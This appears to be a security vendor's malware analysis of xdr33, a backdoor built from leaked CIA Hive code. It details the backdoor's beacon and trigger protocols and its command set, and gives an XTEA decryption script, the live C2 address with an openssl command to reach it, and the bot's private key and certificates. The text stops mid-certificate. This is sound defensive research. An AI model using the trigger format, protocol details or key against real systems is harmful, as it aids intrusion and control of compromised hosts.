Heads up! Xdr33, A Variant Of CIA’s HIVE  Attack Kit Emerges
<!--kg-card-begin: markdown--><h1 id="overview">Overview</h1>
<p>On Oct 21, 2022, 360Netlab's honeypot system captured a suspicious ELF file <code>ee07a74d12c0bb3594965b51d0e45b6f</code>, which propagated via F5 vulnerability with zero VT detection, our system observces that it communicates with IP <code>45.9.150.144</code> using SSL with <strong>forged Kaspersky certificates</strong>, this caught our attention. After further lookup, we confirmed that this sample was adapted from the leaked Hive project server source code from CIA. <strong>This is the first time we caught a variant of the CIA HIVE attack kit in the wild</strong>, and we named it <code>xdr33</code> based on its embedded Bot-side certificate <code>CN=xdr33</code>.</p>
<p>To summarize, xdr33 is a backdoor born from the CIA Hive project, its main purpose is to collect sensitive information and provide a foothold for subsequent intrusions. In terms of network communication, xdr33 uses XTEA or AES algorithm to encrypt the original traffic, and uses SSL with Client-Certificate Authentication mode enabled to further protect the traffic; in terms of function, there are two main tasks: beacon and trigger, of which beacon is periodically report sensitive information about the device to the hard-coded Beacon C2 and execute the commands issued by it, while the trigger is to monitor the NIC traffic to identify specific messages that conceal the Trigger C2, and when such messages are received, it establishes communication with the Trigger C2 and waits for the execution of the commands issued by it.</p>
<p>The functional schematic is shown below.</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_function.png"><img src="__GHOST_URL__/content/images/2022/12/hive_function.png" class="kg-image"/></a></p>
<p>Hive uses the <code>BEACON_HEADER_VERSION </code>macro to define the specified version, which has a value of <code>29</code> on the Master branch of the source code and a value of <code>34</code> in <code>xdr33</code>, so perhaps xdr33 has had several rounds of iterative updates already. Comparing with the HIV source code, xdr33 has been updated in the following 5 areas:</p>
<ul>
<li>New CC instructions have been added</li>
<li>Wrapping or expanding functions</li>
<li>Structs have been reordered and extended</li>
<li>Trigger message format</li>
<li>Addition of CC operations to the Beacon task</li>
</ul>
<p>These modifications to xdr33 are not very sophisticated in terms of implementation, and coupled with the fact that the vulnerability used in this spread is N-day, we tend to rule out the possibility that the CIA continued to improve on the leaked source code and consider it to be the result of a cyber attack group borrowing the leaked source code.</p>
<h1 id="vulnerability-delivery-payload">Vulnerability Delivery Payload</h1>
<p>The md5 of the Payload we captured is <code>ad40060753bc3a1d6f380a5054c1403a</code>, and its contents are shown below.</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_logd.png"><img src="__GHOST_URL__/content/images/2022/12/hive_logd.png" class="kg-image"/></a></p>
<p>The code is simple and straightforward, and its main purpose is to</p>
<ul>
<li>
<p>Download the next stage of the sample and disguise it as <code>/command/bin/hlogd</code>.</p>
</li>
<li>
<p>Install <code>logd</code> service for persistence.</p>
</li>
</ul>
<h1 id="sample-analysis">Sample analysis</h1>
<p>We captured only one sample of xdr33 for the X86 architecture, and its basic information is shown below.</p>
<pre><code>MD5:ee07a74d12c0bb3594965b51d0e45b6f
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer: None
</code></pre>
<p>Simply put, when xdr33 runs in the compromised device, it first decrypts all the configuration information, then checks if it has root/admin permissions, if not, it prints “Insufficient permissions. try again... “and exit; otherwise initialize various runtime parameters, such as C2, PORT, runtime interval, etc. Finally, the two functions beacon_start and TriggerListen are used to open the two tasks of Beacon and Trigger.</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_main.png"><img src="__GHOST_URL__/content/images/2022/12/hive_main.png" class="kg-image"/></a></p>
<p>The following article mainly analyzes the implementation of Beacon and Trigger from the perspective of binary inversion; at the same time, we also compare and analyze the source code to see what changes have occurred.</p>
<h1 id="decrypting-configuration-information">Decrypting configuration information</h1>
<p>xdr33 decodes the configuration information by the following code snippet decode_str, its logic is very simple, i.e., byte-by-byte inverse.</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_decode.png"><img src="__GHOST_URL__/content/images/2022/12/hive_decode.png" class="kg-image"/></a></p>
<p>In IDA you can see that decode_str has a lot of cross-references, 152 in total. To assist in the analysis, we implemented the IDAPython script Decode_RES in the appendix to decrypt the configuration information.</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_idaxref.png"><img src="__GHOST_URL__/content/images/2022/12/hive_idaxref.png" class="kg-image"/></a></p>
<p>The decryption results are shown below, including Beacon C2 <code>45.9.150.144</code>, runtime prompt messages, commands to view device information, etc.</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_config.png"><img src="__GHOST_URL__/content/images/2022/12/hive_config.png" class="kg-image"/></a></p>
<h1 id="beacon-task">Beacon Task</h1>
<p>The main function of Beacon is to periodically collect PID, MAC, SystemUpTime, process and network related device information; then use bzip, XTEA algorithm to compress and encrypt the device information, and report to C2; finally wait for the execution of the commands issued by C2.</p>
<h2 id="0x01-information-collection">0x01: Information Collection</h2>
<ul>
<li>
<p>MAC</p>
<p>Query MAC by <code>SIOCGIFCON</code> or <code>SIOCGIFHWADDR</code></p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_mac-1.png"><img src="__GHOST_URL__/content/images/2022/12/hive_mac-1.png" class="kg-image"/></a></p>
</li>
<li>
<p>SystemUpTime</p>
<p>Collects system up time via /proc/uptime</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_uptime.png"><img src="__GHOST_URL__/content/images/2022/12/hive_uptime.png" class="kg-image"/></a></p>
</li>
<li>
<p>Process and network-related information</p>
<p>Collect process, NIC, network connection, and routing information by executing the following 4 commands</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_netinfo.png"><img src="__GHOST_URL__/content/images/2022/12/hive_netinfo.png" class="kg-image"/></a></p>
</li>
</ul>
<h2 id="0x02-information-processing">0x02: Information processing</h2>
<p>Xdr33 combines different device information through the update_msg function</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_compose.png"><img src="__GHOST_URL__/content/images/2022/12/hive_compose.png" class="kg-image"/></a></p>
<p>In order to distinguish different device information, Hive designed ADD_HDR, which is defined as follows, and &quot;3, 4, 5, 6&quot; in the above figure represents different Header Type.</p>
<pre><code>typedef struct __attribute__ ((packed)) add_header {
	unsigned short type;
	unsigned short length;
} ADD_HDR;

</code></pre>
<p>What does &quot;3, 4, 5, 6&quot; represent exactly? This depends on the definition of Header Types in the source code below. xdr33 is extended on this basis, with two new values 0 and 9, representing <code>Sha1[:32] of MAC</code>, and <code>PID of xdr33</code> respectively</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_type.png"><img src="__GHOST_URL__/content/images/2022/12/hive_type.png" class="kg-image"/></a></p>
<p>Some of the information collected by xdr32 in the virtual machine is shown below, and it can be seen that it contains the device information with head type 0,1,2,7,9,3.<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_deviceinfo.png"><img src="__GHOST_URL__/content/images/2022/12/hive_deviceinfo.png" class="kg-image"/></a></p>
<p>It is worth mentioning that type=0, <code>Sha1[:32] of MAC</code>, which means that it takes the first 32 bytes of MAC SHA1. Take the mac in the above figure as an example, its calculation process is as follows.</p>
<pre><code>mac:00-0c-29-94-d9-43,remove &quot;-&quot;
result:00 0c 29 94 d9 43

sha1 of mac:
result:c55c77695b6fd5c24b0cf7ccce3e464034b20805

sha1[:32] of mac:
result:c55c77695b6fd5c24b0cf7ccce3e4640
</code></pre>
<p>When all the device information is combined, use bzip to compress it and add 2 bytes of <code>beacon_header_version</code> and 2 bytes of OS information in the header.<br>
<a href="__GHOST_URL__/content/images/2023/01/hive_devicebzip.png"><img src="__GHOST_URL__/content/images/2023/01/hive_devicebzip.png" class="kg-image"/></a></p>
<h2 id="0x03-network-communication">0x03: Network Communication</h2>
<p>The communication process between xdr33 and Beacon C2 contains the following 4 steps, and the details of each step will be analyzed in detail below.</p>
<ul>
<li>Two-way SSL authentication</li>
<li>Obtain XTEA key</li>
<li>Report XTEA encrypted device information to C2</li>
<li>Execute the commands sent by C2</li>
</ul>
<h3 id="step1-two-way-ssl-authentication">Step1: Two-way SSL Authentication</h3>
<p>Two-way SSL authentication requires Bot and C2 to confirm each other's identity, from the network traffic level, it is obvious that Bot and C2 request each other's certificate and verify the process.<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_certi.png"><img src="__GHOST_URL__/content/images/2022/12/hive_certi.png" class="kg-image"/></a></p>
<p>The author of xdr33 uses the kaspersky.conf and thawte.conf templates in the source repository to generate the required Bot certificate, C2 certificate and CA certificate.<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_certconf.png"><img src="__GHOST_URL__/content/images/2022/12/hive_certconf.png" class="kg-image"/></a></p>
<p>The CA certificate, Bot certificate and PrivKey are hardcoded in xdr32 in DER format.<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_sslsock.png"><img src="__GHOST_URL__/content/images/2022/12/hive_sslsock.png" class="kg-image"/></a></p>
<p>The Bot certificate can be viewed using <code>openssl x509 -in Cert -inform DER -noout -text</code>, where CN=xdr33, which is where the family name comes from.<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_botcert.png"><img src="__GHOST_URL__/content/images/2022/12/hive_botcert.png" class="kg-image"/></a></p>
<p>You can use <code>openssl s_client -connect 45.9.150.144:443</code> to see the C2 certificate. bot, C2 certificates are disguised as being related to kaspersky, reducing the suspiciousness of network traffic in this way.</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_c2cert.png"><img src="__GHOST_URL__/content/images/2022/12/hive_c2cert.png" class="kg-image"/></a></p>
<p>The CA certificates are shown below. From the validity of the 3 certificates, we presume that the start of this activity is after 2022.10.7.<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_ca.png"><img src="__GHOST_URL__/content/images/2022/12/hive_ca.png" class="kg-image"/></a></p>
<h3 id="step2-obtain-xtea-key">Step2: Obtain XTEA key</h3>
<p>After establishing SSL communication between Bot and C2, Bot requests XTEA key from C2 via the following code snippet.<br>
<a href="__GHOST_URL__/content/images/2023/01/hive_teakey.png"><img src="__GHOST_URL__/content/images/2023/01/hive_teakey.png" class="kg-image"/></a></p>
<p>The processing logic is.</p>
<ol>
<li>
<p>Bot sends 64 bytes of data to C2 in the format of &quot;length of device information length string (xor 5) + device information length string (xor 5) + random data&quot;.</p>
</li>
<li>
<p>Bot receives 32 bytes of data from C2 and gets 16 bytes of XTEA KEY from it, the equivalent python code to get the KEY is as follows.</p>
<pre><code>XOR_KEY=5
def get_key(rand_bytes):
	offset = (ord(rand_bytes[0]) ^ XOR_KEY) % 15
	return  rand_bytes[(offset+1):(offset+17)]
</code></pre>
</li>
</ol>
<h3 id="step3-report-xtea-encrypted-device-information-to-c2">Step3: Report XTEA encrypted device information to C2</h3>
<p>Bot uses the XTEA KEY obtained from Step2 to encrypt the device information and report it to C2. since the device information is large, it usually needs to be sent in chunks, Bot sends up to 4052 bytes at a time, and C2 replies with the number of bytes it has accepted.<br>
<a href="__GHOST_URL__/content/images/2023/01/hive_teadevice.png"><img src="__GHOST_URL__/content/images/2023/01/hive_teadevice.png" class="kg-image"/></a></p>
<p>It is also worth mentioning that XTEA encryption is only used in Step3, and the subsequent Step4 only uses the SSL-negotiated encryption suite for network traffic, and no longer uses XTEA.</p>
<h3 id="step4-waiting-for-execution-command-new-function-added-by-xdr33">Step4: Waiting for execution command (new function added by xdr33)</h3>
<p>After the device information is reported, C2 sends 8 bytes of task number N of this cycle to Bot, if N is equal to 0, it will sleep for a certain time and enter the next cycle of Beacon Task; if not, it will send 264 bytes of task. bot receives the task, parses it, and executes the corresponding instruction.<br>
<a href="__GHOST_URL__/content/images/2023/01/hive_beaconwaitcmd.png"><img src="__GHOST_URL__/content/images/2023/01/hive_beaconwaitcmd.png" class="kg-image"/></a></p>
<p>The supported instructions are shown in the following table.</p>
<table>
<thead>
<tr>
<th>Index</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x01</td>
<td>Download File</td>
</tr>
<tr>
<td>0x02</td>
<td>Execute CMD with fake name &quot;[kworker/3:1-events]&quot;</td>
</tr>
<tr>
<td>0x03</td>
<td>Update</td>
</tr>
<tr>
<td>0x04</td>
<td>Upload File</td>
</tr>
<tr>
<td>0x05</td>
<td>Delete</td>
</tr>
<tr>
<td>0x08</td>
<td>Launch Shell</td>
</tr>
<tr>
<td>0x09</td>
<td>Socket5 Proxy</td>
</tr>
<tr>
<td>0x0b</td>
<td>Update BEACONINFO</td>
</tr>
</tbody>
</table>
<h2 id="network-traffic-example">Network Traffic Example</h2>
<h3 id="the-actual-step2-traffic-generated-by-xdr33">The actual step2 traffic generated by xdr33</h3>
<p><a href="__GHOST_URL__/content/images/2023/01/hive_packet.png"><img src="__GHOST_URL__/content/images/2023/01/hive_packet.png" class="kg-image"/></a></p>
<h3 id="the-interaction-in-step3-and-the-traffic-from-step4">The interaction in step3, and the traffic from step4</h3>
<p><a href="__GHOST_URL__/content/images/2023/01/hive_packetB.png"><img src="__GHOST_URL__/content/images/2023/01/hive_packetB.png" class="kg-image"/></a></p>
<h3 id="what-information-can-we-get-from-this%EF%BC%9F">What information can we get from this?？</h3>
<ol>
<li>
<p>The length of the device information length string, <code>0x1 ^ 0x5 = 0x4</code></p>
</li>
<li>
<p>The length of the device information, 0x31,0x32,0x37,0x35 respectively xor 5 gives 4720</p>
</li>
<li>
<p>tea key <code>2E 09 9B 08 CF 53 BE E7 A0 BE 11 42 31 F4 45 3A</code></p>
</li>
<li>
<p>C2 will confirm the length of the device information reported by the BOT, 4052+668 = 4720, which corresponds to the second point</p>
</li>
<li>
<p>The number of tasks in this cycle is <code>00 00 00 00 00 00 00</code>, i.e. there is no task, so no specific task of 264 bytes will be issued.</p>
</li>
</ol>
<p>The encrypted device information can be decrypted by the following code, and the decrypted data is <code>00 22 00 14 42 5A 68 39</code>, which contains the <code>beacon_header_version + os + bzip magic</code>, and the previous analysis can correspond to one by one.</p>
<pre><code>import hexdump
import struct

def xtea_decrypt(key,block,n=32,endian=&quot;!&quot;):
    v0,v1 = struct.unpack(endian+&quot;2L&quot;, block)
    k = struct.unpack(endian+&quot;4L&quot;,key)
    delta,mask = 0x9e3779b9,0xffffffff
    sum = (delta * n) &amp; mask
    for round in range(n):
        v1 = (v1 - (((v0&lt;&lt;4 ^ v0&gt;&gt;5) + v0) ^ (sum + k[sum&gt;&gt;11 &amp; 3]))) &amp; mask
        sum = (sum - delta) &amp; mask
        v0 = (v0 - (((v1&lt;&lt;4 ^ v1&gt;&gt;5) + v1) ^ (sum + k[sum &amp; 3]))) &amp; mask
    return struct.pack(endian+&quot;2L&quot;,v0,v1)

def decrypt_data(key,data):
    size = len(data)
    i = 0
    ptext = b''
    while i &lt; size:
        if size - i &gt;= 8:
            ptext += xtea_decrypt(key,data[i:i+8])
        i += 8
    return ptext
key=bytes.fromhex(&quot;&quot;&quot;
2E 09 9B 08 CF 53 BE E7  A0 BE 11 42 31 F4 45 3A
&quot;&quot;&quot;)
enc_buf=bytes.fromhex(&quot;&quot;&quot;
65 d8 b1 f9 b8 37 37 eb
&quot;&quot;&quot;)

hexdump.hexdump(decrypt_data(key,enc_buf))
</code></pre>
<h1 id="trigger-task">Trigger Task</h1>
<p>The main function of the Trigger is to listen to all traffic and wait for the Triggger IP message in a specific format. Once the message and the Trigger Payload hidden in the message pass the layers of verification, the Bot establishes communication with the C2 in the Trigger Payload and waits for the execution of the instructions sent.</p>
<h2 id="0x1-listening-for-traffic">0x1: Listening for traffic</h2>
<p>Use the function call <code>socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) )</code> to set RAW SOCKET to capture IP messages, and then the following code snippet to process IP messages, you can see that Tirgger supports TCP,UDP and the maximum length of message Payload is 472 bytes. This kind of traffic sniffing implementation will increase the CPU load, in fact using BPF-Filter on sockets will work better.</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_snfpkt.png"><img src="__GHOST_URL__/content/images/2022/12/hive_snfpkt.png" class="kg-image"/></a></p>
<h2 id="0x2-checksum-trigger-packets">0x2: Checksum Trigger packets</h2>
<p>TCP and UDP messages that meet the length requirement are further verified using the same check_payload function.</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_handxref.png"><img src="__GHOST_URL__/content/images/2022/12/hive_handxref.png" class="kg-image"/></a></p>
<p><strong>check_payload</strong>的代码如下所示:<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_checkpayload.png"><img src="__GHOST_URL__/content/images/2022/12/hive_checkpayload.png" class="kg-image"/></a></p>
<p>The processing logic can be seen as follows.</p>
<ul>
<li>Use CRC16/CCITT-FALSE algorithm to calculate the CRC16 value of offset 8 to 92 in the message to get crcValue</li>
<li>The offset value of crcValue in the message is obtained by crcValue % 200+ 92, crcOffset</li>
<li>Verify whether the data at crcOffset in the message is equal to crcValue, if it is equal, go to the next step</li>
<li>Check if the data at crcOffset+2 in the message is an integer multiple of 127, if yes, go to the next step</li>
<li>Trigger_Payload is encrypted, the starting position is crcOffset+12, the length is 29 bytes. the starting position of Xor_Key is crcValue%55+8, XOR the two byte by byte, we get Trigger_Paylaod</li>
</ul>
<p>So far it can be determined that the <code>Trigger message format</code> is as follows</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_triggerpkt-1.png"><img src="__GHOST_URL__/content/images/2022/12/hive_triggerpkt-1.png" class="kg-image"/></a></p>
<h2 id="0x3-checksum-trigger-payload">0x3:  Checksum Trigger Payload</h2>
<p>If the Trigger message passes the checksum, the check_trigger function continues to check the Trigger Payload</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_triggerfinal.png"><img src="__GHOST_URL__/content/images/2022/12/hive_triggerfinal.png" class="kg-image"/></a></p>
<p>The processing logic can be seen as follows</p>
<ul>
<li>Take the last 2 bytes of the Trigger Payload and write it as crcRaw</li>
<li>Set the last 2 bytes of the Trigger Payload to 0 and calculate its CRC16, which is called crcCalc</li>
<li>Compare crcRaw and crcCalc, if they are equal, it means that the Trigger Payload is structurally valid.</li>
</ul>
<p>Next, the SHA1 of the key in the Trigger Payload is calculated and compared with the hard-coded SHA1 <code>46a3c308401e03d3195c753caa14ef34a3806593</code> in the Bot. If it is equal, it means that the Trigger Payload is also valid in content, so we can go to the last step, establish communication with C2 in the Trigger Payload, and wait for the execution of its issued command.</p>
<p>The format of the <code>Trigger Payload</code> can be determined as follows.</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_triggerfmt-1.png"><img src="__GHOST_URL__/content/images/2022/12/hive_triggerfmt-1.png" class="kg-image"/></a></p>
<h2 id="0x4-execution-of-trigger-c2s-command">0x4: Execution of Trigger C2's command</h2>
<p>After a Trigger message passes the checksum, the Bot actively communicates with the C2 specified in the Trigger Payload and waits for the execution of the instructions issued by the C2.</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_triggercmd.png"><img src="__GHOST_URL__/content/images/2022/12/hive_triggercmd.png" class="kg-image"/></a></p>
<p>The supported instructions are shown in the following table.</p>
<table>
<thead>
<tr>
<th>Index</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00,0x00a</td>
<td>Exit</td>
</tr>
<tr>
<td>0x01</td>
<td>Download File</td>
</tr>
<tr>
<td>0x02</td>
<td>Execute CMD</td>
</tr>
<tr>
<td>0x04</td>
<td>Upload File</td>
</tr>
<tr>
<td>0x05</td>
<td>Delete</td>
</tr>
<tr>
<td>0x06</td>
<td>Shutdown</td>
</tr>
<tr>
<td>0x08</td>
<td>Launch SHELL</td>
</tr>
<tr>
<td>0x09</td>
<td>SOCKET5 PROXY</td>
</tr>
<tr>
<td>0x0b</td>
<td>Update BEACONINFO</td>
</tr>
</tbody>
</table>
<p>It is worth noting that Trigger C2 differs from Beacon C2 in the details of communication; after establishing an SSL tunnel, Bot and Trigger C2 use a Diffie-Helllman key exchange to establish a shared key, which is used in the AES algorithm to create a second layer of encryption.<br>
<a href="__GHOST_URL__/content/images/2022/12/hive_aes.png"><img src="__GHOST_URL__/content/images/2022/12/hive_aes.png" class="kg-image"/></a></p>
<h1 id="experiment">Experiment</h1>
<p>To verify the correctness of the reverse analysis of the Trigger part, we Patch the SHA1 value of xdr33, fill in the SHA1 of <code>NetlabPatched,Enjoy!</code> and implement the GenTrigger code in the appendix to generate UDP type Trigger messages.</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_patchbylab.png"><img src="__GHOST_URL__/content/images/2022/12/hive_patchbylab.png" class="kg-image"/></a></p>
<p>We run the Patch in the virtual machine <code>192.168.159.133</code> after the xdr33 sample, the construction of C2 for <code>192.168.159.128:6666</code> Trigger Payload, and sent to 192.168.159.133 in the form of UDP. the final result is as follows, you can see the xdr33 in the implanted host after receiving the UDP Trigger message, and we expected the same, launched a communication request to the preset Trigger C2, Cool!</p>
<p><a href="__GHOST_URL__/content/images/2022/12/hive_vmware.png"><img src="__GHOST_URL__/content/images/2022/12/hive_vmware.png" class="kg-image"/></a></p>
<h1 id="contact-us">Contact us</h1>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">twitter</a> or email us to netlab[at]360.cn.</p>
<h1 id="ioc">IOC</h1>
<h2 id="sample">sample</h2>
<pre><code>ee07a74d12c0bb3594965b51d0e45b6f

patched sample

af5d2dfcafbb23666129600f982ecb87
</code></pre>
<h2 id="c2">C2</h2>
<pre><code>45.9.150.144:443
</code></pre>
<h2 id="bot-private-key">BOT Private Key</h2>
<pre><code>-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA6XthqPjU3XFu8/4PMVQ4iqJbleXmXhbVWMPhY/sTndEcO5vQ
mIMNJc1mISZTNPzddXSrj0h9GJe0ix0CIZID3bHyZHLiqb/ewylFmqSOVkviG/Je
o17UAqhsNGpVu/l8FM3qCHJE7z+wBqHdwVIZMt9vLaLti2KyJV+j1F1GTk8X2jcI
4DnnVKJE81rSafzaX2JBc6J6hovFMMP9IGb2LwRQMZNtZqSus6JMolhkO0dtvxXK
yTm1k79HL3PlZdgKt6HJFoukwkWND8NNTbcBXDWWDdJ42g/1I0Z7tMkdKFgfjUut
90LXKRRuENcUrbi75L6P2FRwPnqvVv+3N25MZQIDAQABAoIBADtguG57kc8bWQdO
NljqPVLshXQyuop1Lh7b+gcuREffdVmnf745ne9eNDn8AC86m6uSV0siOUY21qCG
aRNWigsohSeMnB5lgGaLqXrxnI1P0RogYncT18ExSgtue41Jnoe/8mPhg6yAuuiE
49uVYHkyn5iwlc7b88hTcVvBuO6S7HPqqXbDEBSoKL0o60/FyPb0RKigprKooTo/
KVCRFDT6xpAGMnjZkSSBJB2cgRxQwkcyghMcLJBvsZXbYNihiXiiiwaLvk4ZeBtf
0hnb6Cty840juAIGKDiUELijd3JtVKaBy41KLrdsnC+8JU3RIVGPtPDbwGanvnCk
Ito7gqUCgYEA+MucFy8fcFJtUnOmZ1Uk3AitLua+IrIEp26IHgGaMKFA0hnGEGvb
ZmwkrFj57bGSwsWq7ZSBk8yHRP3HSjJLZZQIcnnTCQxHMXa+YvpuEKE5mQSMwnlu
YH9S2S0xQPi1yLQKjAVVt+zRuuJvMv0dOZAOfdib+3xesPv2fIBu0McCgYEA8D4/
zygeF5k4Omh0l235e08lkqLtqVLu23vJ0TVnP2LNh4rRu6viBuRW7O9tsFLng8L8
aIohdVdF/E2FnNBhnvoohs8+IeFXlD8ml4LC+QD6AcvcMGYYwLIzewODJ2d0ZbBI
hQthoAw9urezc2CLy0da7H9Jmeg26utwZJB4ZXMCgYEAyV9b/rPoeWxuCd+Ln3Wd
+O6Y5i5jVQfLlo1zZP4dBCFwqt2rn5z9H0CGymzWFhq1VCrT96pM2wkfr6rNBHQC
7LvNvoJ2WotykEmxPcG/Fny4du7k03+f5EEKGLhodlMYJ9P5+W1T/SOUefRO1vFi
FzZPVHLfhcUbi5rU3d7CUv8CgYBG82tu578zYvnbLhw42K7UfwRusRWVazvFsGJj
Ge17J9fhTtswHMwtEuSlJvTzHRjorf5TdW/6MqMlp1Ntg5FBHUo4vh3wbZeq3Zet
KV4hoesz+pv140EuL7LKgrgKPCCBI7XXLQxQ8yyL51LlIT9H8rPkopb/EDif2paf
7JbSBwKBgCY8+aO44uuR2dQm0SIUqnb0MigLRs1qcWIfDfHF9K116sGwSK4SD9vD
poCA53ffcrTi+syPiUuBJFZG7VGfWiNJ6GWs48sP5dgyBQaVq5hQofKqQAZAQ0f+
7TxBhBF4n2gc5AhJ3fQAOXZg5rgNqhAln04UAIlgQKO69fAvfzID
-----END RSA PRIVATE KEY-----

</code></pre>
<h2 id="bot-certificate">BOT Certificate</h2>
<pre><code>-----BEGIN CERTIFICATE-----
MIIFJTCCBA2gAwIBAgIBAzANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx
FTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD
VQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv
biBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy
dmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t
MB4XDTIyMTAwNzE5NTAwN1oXDTIzMDMxNjE5NTAwN1owgYExCzAJBgNVBAYTAlJV
MR0wGwYDVQQKDBRLYXNwZXJza3kgTGFib3JhdG9yeTEUMBIGA1UEAwwLRW5naW5l
ZXJpbmcxDjAMBgNVBAMMBXhkcjMzMQ8wDQYDVQQIDAZNb3Njb3cxDzANBgNVBAcM
Bk1vc2NvdzELMAkGA1UECwwCSVQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDpe2Go+NTdcW7z/g8xVDiKoluV5eZeFtVYw+Fj+xOd0Rw7m9CYgw0lzWYh
JlM0/N11dKuPSH0Yl7SLHQIhkgPdsfJkcuKpv97DKUWapI5WS+Ib8l6jXtQCqGw0
alW7+XwUzeoIckTvP7AGod3BUhky328tou2LYrIlX6PUXUZOTxfaNwjgOedUokTz
WtJp/NpfYkFzonqGi8Uww/0gZvYvBFAxk21mpK6zokyiWGQ7R22/FcrJObWTv0cv
c+Vl2Aq3ockWi6TCRY0Pw01NtwFcNZYN0njaD/UjRnu0yR0oWB+NS633QtcpFG4Q
1xStuLvkvo/YVHA+eq9W/7c3bkxlAgMBAAGjggFXMIIBUzAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBRc0LAOwW4C6azovupkjX8R3V+NpjCB+wYDVR0jBIHzMIHwgBTz
BcGhW/F2gdgt/v0oYQtatP2x5aGB1KSB0TCBzjELMAkGA1UEBhMCWkExFTATBgNV
BAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYDVQQKDBRU
aGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlvbiBTZXJ2
aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2VydmVyIENB
MSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29tggEAMA4G
A1UdDwEB/wQEAwIF4DAWBgNVHSUBAf8EDDAKBggrBgEFBQcDAjANBgkqhkiG9w0B
AQsFAAOCAQEAGUPMGTtzrQetSs+w12qgyHETYp8EKKk+yh4AJSC5A4UCKbJLrsUy
qend0E3plARHozy4ruII0XBh5z3MqMnsXcxkC3YJkjX2b2EuYgyhvvIFm326s48P
o6MUSYs5CFxhhp/N0cqmqGgZL5V5evI7P8NpPcFhs7u1ryGDcK1MTtSSPNPy3F+c
d707iRXiRcLQmXQTcjmOVKrohA/kqqtdM5EUl75n9OLTinZcb/CQ9At+5Sn91AI3
ngd22cyLLC3O4F14L+hqwMd0ENSjanX38iZ2EY8hMpmNYwPOVSQZ1FpXqrkW1ArI
lHEtKB3YMeSXQHAsvBQD0AlW7R7JqHdreg==
-----END CERTIFICATE-----

</code></pre>
<h2 id="ca-certificate">CA Certificate</h2>
<pre><code>-----BEGIN CERTIFICATE-----
MIIFXTCCBEWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx
FTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD
VQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv
biBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy
dmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t
MB4XDTIyMTAwNzE0MTEzOFoXDTQ3MTAwMTE0MTEzOFowgc4xCzAJBgNVBAYTAlpB
MRUwEwYDVQQIDAxXZXN0ZXJuIENhcGUxEjAQBgNVBAcMCUNhcGUgVG93bjEdMBsG
A1UECgwUVGhhd3RlIENvbnN1bHRpbmcgY2MxKDAmBgNVBAsMH0NlcnRpZmljYXRp
b24gU2VydmljZXMgRGl2aXNpb24xITAfBgNVBAMMGFRoYXd0ZSBQcmVtaXVtIFNl
cnZlciBDQTEoMCYGCSqGSIb3DQEJARYZcHJlbWl1bS1zZXJ2ZXJAdGhhd3RlLmNv
bTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMfHJIl4/Xdo896Rlyqr
3VcKnLAAqIJkpgl90Z6bxUDpwa41H3ZDa7As4ZO9xa+lXGn9XB9u34TqJPkyhSKg
3wYK02KTCwVMI/gf506KpFvocTHpScnXs0xUoxsM8qEiDV2pTe447rmyaLyWcT5d
hbzkPl0WuDmEWMhfC2R9z4+mlsbwMAy9PN/JYzxz7cR48qj4j9hhEwkJ1+yJKXBV
